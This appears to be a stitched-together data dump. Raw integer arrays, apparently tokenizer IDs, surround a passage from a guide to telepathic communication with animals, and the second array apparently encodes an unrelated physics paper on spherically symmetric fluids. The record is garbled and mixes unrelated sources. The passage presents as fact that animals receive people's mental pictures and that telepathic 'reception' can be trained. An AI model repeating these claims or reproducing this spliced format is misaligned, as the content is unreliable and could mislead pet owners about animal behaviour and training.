[ 247, 6619, 281, 11874, 1066, 285, 1339, 10000, 7906, 28755, 1977, 15, 187, 187, 1394, 943, 1024, 1928, 1805, 670, 1146, 11874, 13, 2810, 13, 285, 802, 46348, 342, 634, 5893, 3331, 15, 1422, 778, 5730, 281, 10280, 436, 3213, 342, 643, 5074, 15, 187, 187, 3404, 806, 13, 390, 1014, 342, 6015, 3946, 13, 368, 778, 760, 2793, 634, 1211, 6255, 2425, 15, 733, 476, 320, 2834, 281, 11874, 253, 3041, 7906, 285, 3888, 326, 9539, 634, 2564, 15, 2207, 368, 778, 4763, 642, 5352, 7313, 390, 24789, 670, 253, 5893, 15, 27669, 4993, 456, 327, 253, 5893, 434, 2133, 16897, 368, 432, 1146, 6600, 273, 616, 2644, 1146, 15, 1422, 778, 417, 2568, 24947, 616, 12435, 17718, 1128, 14094, 7906, 13, 10450, 13, 390, 12342, 273, 665, 597, 403, 327, 247, 12861, 1268, 13, 253, 35988, 7794, 273, 616, 1146, 326, 1537, 320, 18203, 15, 187, 187, 4678, 3110, 15, 32483, 11891, 285, 4014, 3967, 280, 16112, 1379, 673, 281, 49507, 15, 831, 310, 417, 247, 13612, 323, 8164, 278, 6948, 20951, 2, 1198, 1142, 952, 13, 1107, 273, 346, 18037, 3, 390, 8336, 452, 20821, 15, 12329, 2107, 3946, 7729, 253, 8090, 281, 36473, 1977, 15, 187, 187, 1909, 368, 3946, 436, 7208, 13, 368, 588, 1089, 634, 1211, 23014, 390, 20821, 638, 585, 14233, 670, 5074, 3551, 715, 1859, 15, 2325, 7378, 281, 1339, 731, 564, 13, 285, 1527, 598, 281, 5352, 7313, 1754, 327, 247, 2590, 4602, 281, 253, 5893, 1246, 342, 368, 15, 1422, 588, 840, 1089, 326, 634, 4432, 2351, 281, 5074, 8, 7906, 13, 10450, 13, 12342, 13, 285, 3888, 5459, 15, 187, 187, 21914, 326, 436, 310, 253, 806, 285, 954, 5044, 3213, 326, 1364, 320, 8156, 323, 2007, 5511, 281, 1379, 1659, 15, 733, 310, 752, 2789, 352, 4999, 323, 271, 5893, 313, 13961, 390, 5010, 10, 281, 1527, 598, 281, 368, 13, 285, 281, 1928, 326, 368, 403, 11298, 285, 476, 2096, 15, 3166, 352, 5312, 1128, 263, 10793, 3058, 13, 323, 2909, 390, 3038, 1128, 3113, 952, 13, 5074, 13, 7139, 13, 16419, 13, 390, 364, 485, 332, 368, 5730, 281, 3282, 342, 12861, 4685, 285, 4602, 15, 187, 187, 1909, 368, 564, 327, 281, 253, 1735, 5018, 13, 320, 2119, 281, 452, 436, 3213, 275, 1659, 347, 634, 12153, 15, 187, 187, 1267, 13801, 374, 27, 38336, 35043, 2637, 3003, 353, 5479, 7669, 187, 187, 6601, 1075, 187, 187, 8836, 452, 2546, 479, 2139, 616, 5893, 3858, 1053, 626, 3176, 281, 3794, 281, 731, 672, 253, 952, 3177, 281, 13791, 15, 380, 5074, 1053, 626, 1646, 281, 755, 352, 15, 1737, 434, 3430, 32, 187, 187, 2512, 476, 320, 2067, 1841, 13583, 342, 253, 1039, 368, 1472, 10430, 253, 3935, 15, 10348, 368, 2455, 1642, 3095, 247, 1953, 672, 253, 15587, 434, 2564, 369, 327, 1633, 2010, 13, 594, 326, 368, 497, 3735, 760, 39559, 13, 604, 387, 512, 32, 380, 1072, 2181, 476, 5108, 275, 26728, 342, 5074, 15, 187, 187, 1394, 878, 281, 452, 616, 4116, 13, 616, 24741, 13, 285, 616, 3745, 281, 8028, 281, 368, 15, 13168, 13, 512, 352, 3936, 310, 6789, 562, 616, 1416, 13, 285, 597, 1472, 512, 2927, 285, 13628, 323, 368, 15, 2726, 2571, 13, 247, 11453, 13341, 390, 7692, 281, 1339, 731, 871, 368, 1472, 627, 310, 752, 434, 3058, 1078, 368, 3984, 281, 731, 15, 24503, 5074, 588, 1480, 616, 4116, 281, 368, 604, 368, 1472, 3365, 7107, 285, 33056, 422, 13, 347, 275, 253, 5044, 8310, 5763, 15, 187, 187, 6175, 275, 1142, 10872, 5074, 588, 1007, 387, 368, 281, 1339, 368, 871, 597, 1472, 11298, 13, 436, 310, 417, 1900, 616, 14682, 15, 309, 1849, 8344, 342, 1142, 5074, 326, 359, 476, 2186, 1270, 16072, 1223, 616, 2927, 403, 6828, 2584, 616, 3126, 13, 10028, 281, 616, 27762, 13, 347, 310, 616, 3753, 15, 187, 187, 1276, 310, 3309, 310, 634, 5471, 326, 597, 403, 11298, 281, 368, 15, 6491, 9403, 476, 3282, 604, 2571, 403, 346, 3113, 3, 731, 390, 11358, 23198, 15, 1310, 634, 8208, 281, 13791, 310, 11874, 285, 2590, 13, 285, 368, 1691, 326, 2439, 13, 627, 943, 320, 642, 1895, 15, 187, 187, 510, 760, 673, 309, 2430, 326, 5074, 1007, 387, 479, 3587, 1223, 309, 1353, 5015, 310, 672, 359, 1472, 35827, 690, 3879, 285, 16, 263, 253, 5074, 452, 21547, 36968, 11298, 1128, 9453, 352, 434, 1774, 326, 597, 755, 752, 309, 1353, 3981, 15, 1198, 1650, 13, 672, 619, 9097, 452, 3731, 48384, 9367, 13, 309, 778, 4536, 2186, 616, 9365, 2584, 479, 281, 22175, 253, 1127, 15, 187, 187, 10758, 368, 1472, 1663, 38440, 1146, 342, 5074, 13, 352, 434, 3477, 281, 24947, 672, 597, 1472, 4704, 285, 7378, 281, 8028, 15, 22469, 13, 368, 1053, 626, 1611, 281, 7257, 634, 5511, 672, 5074, 403, 31564, 407, 2739, 13, 643, 5074, 13, 390, 33737, 15, 3973, 6016, 253, 34169, 13, 285, 840, 755, 7106, 390, 33056, 422, 2366, 15, 187, 187, 2019, 15752, 187, 187, 510, 1735, 3284, 310, 849, 368, 7257, 634, 3935, 15, 12369, 13452, 390, 11561, 13, 352, 1364, 320, 2590, 281, 1663, 755, 352, 2439, 15, 31790, 459, 326, 253, 3935, 310, 417, 278, 40747, 342, 643, 7906, 390, 6255, 3888, 15, 187, 187, 1145, 1650, 273, 436, 310, 672, 952, 403, 2820, 281, 9798, 9097, 2969, 40138, 13896, 15, 6491, 588, 1333, 346, 3188, 3, 281, 616, 9097, 533, 588, 5406, 23198, 326, 253, 9097, 403, 1469, 281, 1408, 1977, 432, 731, 15, 380, 5074, 588, 3798, 755, 253, 1436, 434, 3302, 8208, 281, 1705, 13, 533, 253, 7968, 273, 3515, 1977, 476, 40678, 731, 15, 1893, 13, 597, 2057, 32379, 13, 390, 597, 956, 253, 6255, 3888, 285, 1408, 1977, 13, 4680, 326, 434, 752, 253, 1436, 5605, 731, 281, 513, 15, 187, 187, 21914, 326, 5074, 2619, 598, 253, 7906, 390, 4495, 3212, 253, 3000, 285, 3037, 281, 15629, 253, 3000, 342, 253, 2250, 368, 403, 3705, 981, 15, 5037, 626, 40678, 731, 15, 16600, 634, 4495, 390, 5406, 13373, 342, 752, 368, 403, 7004, 390, 3981, 15, 380, 1869, 13, 2460, 13, 390, 5471, 368, 2199, 342, 634, 3000, 310, 625, 1774, 685, 253, 3000, 3746, 15, 2064, 434, 2139, 5074, 476, 3798, 6308, 1210, 1090, 250, 952, 13, 984, 752, 253, 952, 403, 3981, 310, 417, 752, 597, 403, 4680, 390, 5471, 15, 29301, 755, 253, 1869, 390, 5471, 285, 769, 15672, 15, 309, 452, 1119, 326, 690, 5074, 665, 812, 1620, 320, 10256, 13896, 13, 390, 665, 4455, 417, 281, 8028, 281, 752, 616, 1436, 3078, 13, 497, 3240, 5194, 494, 846, 616, 2045, 13775, 670, 752, 616, 952, 1663, 5486, 369, 16481, 598, 15, 187, 187, 4678, 2590, 23198, 672, 368, 3984, 15, 9601, 752, 368, 1333, 15, 18874, 11323, 271, 4116, 14, 35777, 285, 4116, 14, 16514, 7877, 15, 6269, 30782, 634, 7906, 17257, 595, 476, 320, 625, 3576, 1580, 359, 1472, 512, 30795, 281, 352, 15, 1723, 13, 672, 368, 403, 2810, 281, 2176, 5074, 665, 4517, 368, 285, 403, 1663, 11298, 13, 11561, 5511, 476, 320, 9386, 15, 309, 2223, 2312, 33454, 342, 619, 1211, 5893, 2021, 15, 1583, 4264, 4854, 619, 4318, 13, 285, 309, 4264, 5636, 272, 342, 731, 326, 1039, 15, 18874, 7729, 281, 22175, 667, 7997, 309, 878, 281, 1918, 15, 2091, 309, 513, 247, 21183, 13, 954, 273, 352, 310, 1327, 332, 7187, 13, 347, 359, 476, 13791, 670, 3237, 285, 5067, 27784, 8450, 625, 4354, 285, 4541, 326, 1039, 15, 187, 187, 41, 17593, 390, 19883, 5074, 21750, 1242, 1223, 368, 2312, 476, 671, 823, 625, 4432, 2351, 281, 634, 10924, 15, 22606, 3057, 7729, 281, 1978, 731, 627, 604, 597, 403, 33400, 417, 281, 2454, 1633, 368, 878, 281, 2968, 342, 13, 390, 604, 597, 1472, 1907, 247, 1892, 673, 7746, 368, 670, 1633, 15, 733, 14935, 731, 871, 368, 403, 13224, 285, 275, 1453, 13, 672, 3058, 13, 285, 326, 368, 452, 247, 8327, 281, 320, 2810, 281, 731, 15, 831, 476, 823, 281, 253, 4685, 273, 634, 5511, 15, 187, 187, 510, 18809, 187, 187, 1466, 434, 2740, 436, 1066, 3213, 407, 3213, 323, 368, 281, 3946, 27, 187, 187, 18, 15, 17633, 907, 1633, 15, 29574, 3946, 6153, 247, 6255, 5406, 273, 690, 1789, 390, 6200, 13, 285, 1007, 387, 352, 23198, 15, 831, 310, 1633, 359, 513, 10748, 285, 2761, 11485, 13, 594, 352, 943, 320, 3477, 15, 187, 187, 19, 15, 17633, 907, 1633, 285, 5007, 352, 281, 253, 2329, 247, 1643, 4669, 275, 2914, 273, 634, 2133, 15, 1422, 476, 2199, 352, 627, 13, 751, 49488, 247, 4023, 13, 390, 816, 7617, 281, 452, 352, 3176, 275, 326, 1659, 15, 5402, 6255, 3888, 403, 762, 634, 3923, 15, 187, 187, 20, 15, 17633, 907, 1633, 285, 5007, 352, 281, 247, 2173, 1127, 275, 253, 2316, 1128, 70, 15, 72, 904, 253, 3402, 390, 253, 5098, 48164, 15, 187, 187, 21, 15, 17633, 907, 1633, 285, 5007, 352, 281, 634, 5893, 3331, 434, 2133, 15, 2325, 13224, 634, 5406, 588, 12666, 627, 15, 1422, 476, 671, 21765, 907, 253, 5406, 347, 368, 5007, 352, 15, 23208, 13, 1097, 29387, 285, 17257, 595, 15, 187, 187, 22, 15, 5057, 634, 5893, 3331, 434, 4116, 15, 9368, 617, 1416, 390, 7692, 617, 896, 13, 390, 2770, 540, 1574, 327, 617, 281, 1339, 617, 871, 368, 1472, 627, 285, 5730, 281, 13791, 15, 187, 187, 23, 15, 21882, 23120, 15, 31790, 459, 326, 703, 1694, 352, 15, 37780, 604, 3309, 15, 187, 187, 24, 15, 30038, 247, 2969, 5730, 390, 271, 2460, 634, 5893, 3331, 1537, 320, 6110, 275, 313, 70, 15, 72, 904, 247, 7636, 581, 390, 247, 2940, 327, 253, 11600, 582, 3761, 634, 3000, 281, 253, 1869, 13, 285, 5007, 253, 3935, 281, 253, 5893, 15, 37780, 436, 1232, 1919, 368, 1928, 1175, 670, 2509, 352, 285, 3282, 326, 368, 403, 2970, 2439, 15, 313, 13614, 890, 27, 5037, 626, 689, 3088, 253, 1072, 3888, 13, 347, 253, 5893, 778, 755, 23086, 285, 19928, 562, 2698, 187, 187, 9323, 68, 784, 3434, 281, 23198, 31986, 752, 368, 21765, 907, 310, 417, 3309, 2378, 368, 1849, 26193, 436, 5853, 285, 403, 2119, 368, 476, 1599, 752, 368, 1333, 15, 12967, 285, 2460, 476, 2826, 10486, 13, 10748, 15, 5037, 626, 689, 3088, 436, 390, 1056, 352, 2834, 15, 8439, 436, 3213, 281, 9446, 2779, 8483, 27366, 273, 18723, 247, 3935, 13, 285, 3451, 634, 1211, 5199, 604, 3309, 15, 187, 187, 1552, 310, 512, 9648, 3477, 13, 3548, 626, 352, 32, 6279, 13, 368, 1333, 13, 533, 849, 513, 309, 871, 619, 5893, 3858, 1694, 253, 3935, 32, 1737, 670, 616, 3662, 32, 380, 1735, 3213, 27, 1908, 253, 5893, 434, 2380, 15, 187, 187, 1267, 13801, 495, 27, 5689, 4339, 3252, 2637, 2933, 2933, 13753, 947, 187, 187, 1552, 310, 253, 629, 326, 954, 952, 1928, 8767, 670, 15, 1583, 778, 1158, 2970, 253, 5511, 281, 253, 5893, 310, 3477, 13, 533, 597, 1053, 626, 755, 2712, 896, 15, 2207, 513, 597, 32, 187, 187, 34, 2257, 7024, 327, 849, 973, 368, 403, 9433, 253, 806, 3213, 15, 6272, 368, 20764, 38440, 13, 591, 32177, 4518, 13, 285, 11298, 281, 253, 5893, 13, 390, 403, 368, 4680, 13, 4680, 13, 4680, 13, 285, 11267, 78, 2977, 689, 512, 253, 1841, 368, 1158, 253, 5893, 1537, 390, 943, 1333, 32, 831, 588, 3469, 327, 1880, 634, 5048, 310, 1527, 281, 755, 253, 3935, 15, 187, 187, 4527, 2282, 13, 604, 368, 1849, 1677, 247, 3923, 13, 352, 434, 3477, 281, 923, 253, 5893, 434, 3662, 275, 253, 3520, 2380, 15, 1359, 670, 604, 368, 1642, 247, 1953, 32, 1359, 513, 368, 871, 368, 1849, 2959, 271, 3662, 32, 187, 187, 3351, 356, 1515, 187, 187, 1466, 434, 513, 247, 1652, 9008, 407, 2444, 342, 17368, 15, 380, 3159, 8564, 3249, 432, 4440, 80, 13, 271, 2460, 390, 2078, 8098, 13, 285, 2097, 346, 936, 1056, 247, 6255, 2460, 273, 13, 830, 271, 2934, 390, 10732, 273, 28, 42684, 275, 253, 2564, 449, 3173, 356, 1515, 310, 7744, 12258, 347, 1146, 43126, 4552, 13, 6153, 1841, 326, 403, 417, 346, 6549, 3, 390, 1246, 275, 253, 3520, 19929, 15, 733, 310, 2223, 1784, 1356, 13, 347, 275, 253, 14876, 13, 346, 1147, 434, 816, 634, 17368, 449, 187, 187, 6436 ]

a relief to calm down and let busy thoughts fade away. You should now feel better about being calm, close, and empathetic with your animal friend. You may wish to repeat this step with other animals. At first, or even with repeated practice, you may only experience your own mental activity. It can be difficult to calm the million thoughts and images that crowd your mind. Or you may receive no fresh observations or perceptions about the animal. Getting fixated on the animal's body prevents you from being aware of their whole being. You may not yet perceive their spiritual essence—their thoughts, feelings, or concepts of who they are on a deeper level, the myriad aspects of their being that might be contacted. Be patient. Increased awareness and telepathic reception take time to cultivate. This is not a recipe for instant mashed potatoes! For many people, years of "rust" or blocks have accumulated. Continued practice helps the layers to peel away. As you practice this frequently, you will find your own judgments or accumulated preconceptions about animals coming into view. Be willing to let them go, and open up to fresh observations based on a clear connection to the animal present with you. You will then find that your receptivity to animals' thoughts, feelings, concepts, and images increases. Remember that this is the first and most basic step that must be realized for further communication to take place. It is what makes it safe for an animal (human or otherwise) to open up to you, and to feel that you are listening and can understand. Do it daily—or whenever needed, for minutes or hours—with people, animals, trees, rocks, or whomever you wish to sense with deeper understanding and connection. As you go on to the next steps, be sure to have this step in place as your foundation. STEP 2: DELIVERING THE MESSAGE Attention People have asked me why their animal friends don't appear to respond to them when the people attempt to communicate. The animals don't seem to get it. What's wrong? There can be several things incorrect with the way you're sending the message. Did you ever ask someone a question when the respondent's mind was on something else, so that you were heard only vaguely, if at all? The same thing can happen in communicating with animals. You need to have their attention, their willingness, and their ability to listen to you. Sometimes, all it takes is calling out their name, and they're all eyes and ears for you. With others, a friendly tap or rub to let them know you're there is what's needed before you speak to them. Often animals will direct their attention to you if you're simply quiet and attentive, as in the basic observation exercise. While in many instances animals will look at you to let you know they're listening, this is not always their preference. I've noticed with many animals that we can hold great conversations while their eyes are directed toward their environment, alert to their surroundings, as is their nature. What is necessary is your feeling that they are listening to you. People normally can sense if others are "with" them or elsewhere mentally. If your intention to communicate is calm and clear, and you put that across, there should be no problem. The only time I require that animals look at me directly while I'm talking is when we're correcting some behavior and/or the animals have deliberately resisted listening—when it's important that they get what I'm saying. For example, when my dogs have misbehaved, I may sometimes hold their faces toward me to emphasize the point. Once you're really calmly being with animals, it's easy to perceive when they're ready and willing to listen. Obviously, you don't try to deliver your communication when animals are distracted by food, other animals, or noises. First handle the distraction, and then get focused or attentive together. Clarity The next element is how you deliver your message. Whether spoken or silent, it must be clear to really get it across. Ensure that the message is not muddled with other thoughts or mental images. An example of this is when people are trying to teach dogs simple obedience commands. People will say "come" to their dogs but will picture mentally that the dogs are going to run away from them. The animals will usually get the person's initial intention to come, but the pictures of running away can confuse them. So, they either hesitate, or they follow the mental images and run away, thinking that's what the person wants them to do. Remember that animals pick up the thoughts or meaning behind the words and learn to associate the words with the action you are picturing. Don't confuse them. Keep your meaning or picture matched with what you are asking or saying. The thought, image, or feeling you project with your words is more important than the words themselves. That's why animals can usually spot insincere people, because what the people are saying is not what they are thinking or feeling. Animals get the thought or feeling and act accordingly. I have found that some animals who could never be taught commands, or who seemed not to listen to what their person wanted, were quite agreeable after their previous confusion about what their people really meant was cleared up. Be clear mentally when you speak. Mean what you say. Sound adds an attention-getting and attention-holding dimension. Communicating your thoughts verbally can be more effective since we're all accustomed to it. However, when you are close to certain animals who trust you and are really listening, silent communication can be wonderful. I often talk aloud with my own animal family. They enjoy hearing my voice, and I enjoy conversing with them that way. Sound helps to emphasize any instructions I need to give. When I do a consultation, most of it is nonverbal, as we can communicate about problems and counsel traumatic experiences more easily and quickly that way. Holding or touching animals sensitively while you talk can also add more receptivity to your communications. Physical contact helps to keep them there if they are tempted not to face something you need to deal with, or if they're having a hard time telling you about something. It lets them know you are confident and in control, when needed, and that you have a desire to be close to them. This can add to the understanding of your communication. The Procedure Let's break this down step by step for you to practice: 1. Visualize something. Simply practice creating a mental picture of some object or scene, and look at it mentally. This is something we do naturally and almost constantly, so it should be easy. 2. Visualize something and send it to the air a few feet in front of your body. You can project it there, like tossing a ball, or just decide to have it appear in that place. Your mental images are under your command. 3. Visualize something and send it to a specific point in the room—e.g., the wall or the bookshelf. 4. Visualize something and send it to your animal friend's body. Be confident your picture will arrive there. You can also verbalize the picture as you send it. Practice, both silently and verbally. 5. Get your animal friend's attention. Call her name or rub her back, or focus intently on her to let her know you're there and wish to communicate. 6. Say hello. Ensure that she got it. Repeat if necessary. 7. Picture a simple wish or an image your animal friend might be interested in (e.g., a loved one or a walk on the beach), match your words to the thought, and send the message to the animal. Repeat this process until you feel good about doing it and sense that you are getting across. (Caution: Don't overdo the same images, as the animal may get bored and tune out.) Conscious effort to mentally visualize what you verbalize is not necessary once you've practiced this technique and are sure you can mean what you say. Word and image can occur simultaneously, naturally. Don't overdo this or make it difficult. Review this step to recognize likely pitfalls of delivering a message, and correct your own procedure if necessary. This is all fairly easy, isn't it? Yes, you say, but how do I know my animal friends got the message? What about their answer? The next step: consider the animal's response. STEP 3: RECEIVING AN ANSWER This is the part that most people feel uncertain about. They may think getting the communication to the animal is easy, but they don't get anything back. Or do they? A lot depends on how well you are applying the first step. Are you observing calmly, perceiving clearly, and listening to the animal, or are you thinking, thinking, thinking, and rummaging over all the things you think the animal might or should say? This will depend on whether your channel is open to get the message. Of course, if you've given a command, it's easy to see the animal's answer in the physical response. How about if you ask a question? How do you know you've received an answer? Imagination Let's do a little preparation by working with imagination. The word imagine comes from imago, an image or likeness, and means "to make a mental image of, form an idea or notion of; conceive in the mind." Imagination is commonly regarded as being fanciful, creating things that are not "real" or present in the physical realm. It is often derided, as in the suggestion, "It's just your imagination." However

[ 30393, 273, 253, 3473, 1008, 33742, 1092, 534, 275, 1614, 403, 1929, 281, 2818, 253, 13742, 273, 18924, 13551, 1008, 266, 261, 1570, 187, 187, 688, 436, 789, 359, 3091, 1908, 653, 379, 1037, 13123, 6514, 16012, 534, 403, 8523, 275, 12902, 313, 263, 15539, 1253, 2655, 10923, 582, 285, 359, 3091, 1007, 323, 3309, 285, 4209, 2515, 281, 3553, 824, 9459, 15, 25683, 13, 841, 2515, 403, 4469, 949, 253, 44378, 3605, 13, 313, 263, 690, 1159, 273, 352, 10, 534, 6492, 253, 7629, 273, 3473, 342, 4038, 13, 323, 247, 1677, 6514, 3284, 313, 923, 1008, 11282, 357, 1420, 62, 285, 10414, 15308, 481, 187, 187, 1909, 359, 3091, 923, 1060, 13, 824, 16018, 432, 12902, 313, 263, 15539, 1253, 2655, 10923, 10, 310, 4136, 604, 285, 760, 604, 13, 253, 38201, 13148, 1561, 253, 6514, 3268, 1157, 2544, 342, 1675, 281, 697, 1318, 275, 253, 3302, 313, 2655, 10923, 390, 15539, 1253, 2655, 10923, 10, 1375, 15, 187, 187, 2512, 310, 2299, 767, 1896, 16022, 323, 436, 15, 2596, 310, 6607, 407, 253, 773, 11006, 318, 552, 668, 5150, 273, 1375, 669, 2859, 12, 81, 30, 17, 1352, 380, 643, 4112, 672, 776, 906, 1057, 417, 4647, 13, 10140, 281, 253, 1083, 672, 840, 985, 6108, 253, 12902, 19413, 715, 18335, 800, 9459, 285, 669, 6165, 308, 6602, 3115, 1035, 2859, 12, 81, 4010, 18, 1366, 835, 669, 6165, 1366, 5, 53, 5, 285, 669, 3115, 5, 9173, 2975, 253, 8609, 26913, 13, 253, 3276, 285, 253, 8609, 17040, 673, 15, 6295, 9534, 16084, 432, 253, 773, 69, 3190, 474, 668, 1127, 273, 1859, 13, 326, 253, 3576, 48450, 2280, 273, 667, 6514, 3284, 29259, 313, 2887, 1008, 70, 303, 62, 285, 10414, 15308, 481, 187, 187, 510, 1840, 5393, 906, 310, 35036, 1157, 275, 690, 3282, 13, 273, 247, 581, 4102, 2797, 1157, 5001, 253, 2515, 323, 247, 5502, 432, 247, 1327, 14, 36884, 532, 800, 281, 247, 18335, 800, 9459, 275, 247, 7499, 56, 14, 22829, 1566, 683, 6764, 56, 1570, 8079, 275, 326, 1083, 13, 253, 38201, 13148, 310, 1900, 5058, 13, 285, 824, 5502, 310, 760, 4136, 604, 669, 6165, 308, 6602, 3115, 1035, 2859, 12, 81, 4010, 18, 1352, 187, 187, 510, 7714, 310, 10932, 347, 3637, 15, 688, 253, 1735, 2593, 359, 1918, 253, 12091, 323, 253, 1673, 285, 4616, 7424, 13, 285, 323, 253, 38201, 13148, 15, 496, 5238, 6490, 253, 2515, 323, 253, 16018, 432, 12902, 313, 395, 21582, 466, 48494, 10, 403, 1119, 15, 6610, 275, 253, 1390, 5238, 253, 1543, 403, 5469, 15, 187, 187, 6180, 285, 26396, 7424, 187, 1702, 18669, 187, 187, 6180, 7424, 187, 11311, 187, 187, 1231, 1908, 653, 379, 1037, 13123, 10670, 273, 45130, 6514, 13, 534, 323, 13232, 273, 29867, 359, 5467, 281, 320, 35319, 13, 17362, 30695, 275, 253, 830, 273, 4250, 2685, 13, 11542, 407, 247, 19474, 2553, 669, 6199, 1352, 187, 187, 510, 1386, 3284, 310, 1677, 275, 38397, 50040, 14, 3022, 11627, 407, 187, 187, 1890, 1397, 63, 19, 30, 70, 1743, 3023, 94, 19641, 63, 19, 428, 299, 1743, 2260, 94, 1837, 63, 19, 428, 209, 187, 83, 63, 19, 393, 1274, 9, 277, 61, 3124, 63, 19, 559, 6868, 63, 19, 61, 3124, 277, 61, 2162, 63, 19, 393, 918, 10, 187, 61, 1968, 92, 10994, 2138, 187, 187, 2811, 669, 3023, 9, 85, 13, 83, 1009, 285, 669, 2260, 9, 85, 13, 83, 1009, 403, 3470, 273, 616, 7125, 15, 844, 1180, 253, 11627, 27, 370, 89, 63, 17, 30, 85, 28, 5095, 1269, 63, 18, 30, 83, 28, 5095, 1269, 63, 19, 2029, 3124, 28, 5095, 1269, 63, 20, 2029, 2162, 1352, 187, 187, 510, 7982, 3891, 10994, 3851, 556, 281, 10517, 21003, 1673, 7424, 187, 187, 1890, 40, 2850, 3023, 2253, 1906, 11468, 25, 61, 2059, 308, 2850, 3023, 2253, 1906, 187, 61, 1968, 92, 38, 453, 82, 2138, 187, 187, 4609, 275, 776, 1083, 1239, 1008, 9989, 5218, 187, 187, 1890, 14, 25, 61, 2059, 308, 63, 17, 64, 17, 29715, 1124, 92, 18, 1217, 83, 63, 19, 6643, 70, 12886, 2260, 94, 209, 187, 61, 1274, 1035, 1124, 92, 18, 1217, 83, 63, 19, 10780, 1124, 464, 2260, 8, 1217, 83, 94, 393, 918, 10, 187, 61, 1968, 92, 453, 82, 361, 2138, 187, 187, 1890, 14, 25, 61, 2059, 308, 63, 18, 64, 18, 29715, 1124, 92, 18, 1217, 83, 63, 19, 6643, 70, 12886, 2260, 94, 187, 61, 1274, 1035, 1124, 92, 18, 1217, 83, 63, 19, 9213, 1124, 464, 3023, 8, 1217, 83, 889, 918, 10, 187, 61, 1968, 92, 453, 82, 883, 2138, 187, 187, 7010, 2043, 92, 2132, 94, 187, 14, 25, 61, 2059, 308, 63, 19, 64, 19, 50276, 30, 50276, 14, 50276, 25, 61, 2059, 308, 63, 20, 64, 20, 426, 708, 428, 9443, 1124, 92, 70, 12886, 3023, 5932, 21, 889, 1274, 9, 19, 61, 40792, 61, 2260, 12, 187, 61, 5256, 61, 2260, 1035, 5256, 61, 2260, 2249, 5256, 61, 3023, 1572, 918, 10, 393, 6274, 3202, 187, 7, 559, 708, 393, 1124, 92, 70, 12886, 2260, 5932, 21, 94, 187, 61, 1274, 9, 19, 61, 3023, 6267, 2766, 3023, 46628, 19, 428, 209, 187, 61, 2260, 11671, 3023, 8, 559, 374, 61, 1124, 464, 3023, 8, 428, 393, 2260, 8, 1217, 83, 889, 918, 10, 187, 61, 1968, 92, 453, 82, 1423, 1610, 889, 423, 92, 2132, 2138, 187, 187, 1890, 14, 25, 61, 2059, 308, 578, 520, 45881, 1124, 464, 5256, 61, 2260, 1217, 83, 94, 187, 61, 1968, 92, 453, 82, 520, 2138, 187, 187, 2811, 20200, 285, 42740, 1462, 323, 7898, 9827, 342, 1675, 281, 246, 285, 391, 2975, 15, 187, 187, 688, 1340, 281, 1918, 3520, 8453, 281, 253, 370, 53, 1743, 1906, 4689, 3023, 724, 4295, 359, 4647, 253, 19760, 74, 2746, 1008, 9989, 1570, 187, 187, 14131, 13, 1563, 19760, 74, 13, 1339, 441, 9569, 15846, 12171, 46839, 15767, 11627, 11443, 3115, 13, 1269, 13, 340, 13, 1182, 7884, 187, 187, 1890, 69, 61, 3115, 30, 70, 1743, 3023, 16, 19, 94, 7064, 12577, 9315, 4615, 9665, 30, 70, 1743, 2260, 16, 19, 94, 5267, 12577, 9315, 4615, 187, 6421, 30, 5784, 61, 3124, 12577, 9315, 4615, 33425, 30, 2967, 249, 61, 3124, 277, 61, 2162, 1890, 187, 187, 5872, 13, 1850, 5341, 253, 46839, 15767, 4295, 273, 253, 2341, 13148, 407, 247, 2534, 13, 359, 452, 187, 187, 7010, 2009, 308, 63, 17, 64, 17, 30, 53, 63, 17, 64, 17, 12577, 9315, 4615, 187, 61, 2009, 308, 63, 18, 64, 18, 30, 53, 63, 18, 64, 18, 12577, 9315, 12577, 2009, 308, 63, 19, 64, 19, 30, 53, 63, 19, 64, 19, 12577, 9315, 4615, 187, 61, 2009, 308, 63, 20, 64, 20, 30, 53, 63, 20, 64, 20, 12577, 9315, 12577, 2009, 308, 578, 520, 4203, 70, 2497, 1035, 3023, 2766, 2260, 1933, 19, 94, 53, 578, 520, 2138, 187, 187, 9301, 13, 359, 9428, 326, 672, 11575, 407, 271, 19969, 4886, 4103, 281, 841, 11627, 342, 7602, 669, 3151, 5, 275, 253, 14599, 3884, 13, 253, 3520, 2600, 273, 2317, 8414, 273, 271, 35319, 6514, 273, 2341, 4038, 669, 2859, 1366, 14599, 3473, 370, 49, 64, 83, 1366, 12717, 1624, 3473, 370, 49, 2253, 12042, 5, 285, 14599, 4250, 8868, 669, 700, 2805, 1352, 3308, 13, 672, 11575, 407, 436, 4886, 19969, 253, 43359, 13148, 275, 46839, 15767, 11627, 310, 187, 187, 7010, 1274, 1035, 2043, 92, 3728, 1217, 19533, 94, 187, 61, 2859, 50274, 7, 50276, 2249, 700, 2805, 50276, 7, 50275, 17, 50273, 7, 50275, 17, 50274, 3353, 187, 2249, 700, 2805, 708, 50276, 49, 64, 83, 50272, 7, 50275, 17, 50273, 7, 50275, 17, 50274, 3353, 187, 17, 50271, 7, 50275, 17, 50271, 7, 367, 2253, 12042, 50276, 7, 50275, 17, 50274, 3353, 187, 17, 50271, 7, 50275, 17, 50271, 7, 50275, 17, 50273, 7, 50275, 49, 2253, 12042, 50276, 187, 61, 423, 92, 3728, 94, 393, 918, 11189, 187, 187, 5872, 247, 29602, 9261, 12450, 2722, 326, 187, 187, 1890, 53, 63, 17, 64, 17, 2029, 2009, 308, 63, 17, 64, 17, 30, 393, 1124, 464, 2859, 559, 367, 64, 83, 393, 3151, 63, 19, 21159, 18, 428, 393, 3151, 63, 19, 94, 559, 209, 187, 61, 1124, 92, 19, 1165, 393, 3151, 299, 1743, 2260, 16, 19, 40161, 18, 428, 393, 3151, 63, 19, 7415, 18, 16, 19, 599, 187, 61, 1968, 92, 53, 361, 2138, 187, 187, 1890, 53, 63, 18, 64, 18, 2029, 2009, 308, 63, 18, 64, 18, 29715, 1124, 92, 367, 64, 83, 559, 393, 2859, 393, 3151, 63, 19, 1217, 18, 428, 393, 3151, 63, 19, 94, 428, 209, 187, 61, 1124, 92, 19, 1165, 393, 3151, 299, 1743, 2260, 16, 19, 40161, 18, 428, 393, 3151, 63, 19, 7415, 18, 16, 19, 599, 187, 61, 1968, 92, 53, 883, 2138, 187, 187, 1890, 53, 63, 19, 64, 19, 30, 53, 63, 20, 64, 20, 2029, 2009, 308, 63, 19, 64, 19, 2029, 2009, 308, 63, 20, 64, 20, 11468, 49, 2253, 12042, 187, 61, 1968, 92, 53, 1423, 1610, 2138, 187, 187, 1890, 53, 578, 520, 4203, 70, 24448, 3023, 559, 393, 2260, 1933, 19, 94, 393, 2009, 308, 578, 520, 4203, 187, 2249, 1124, 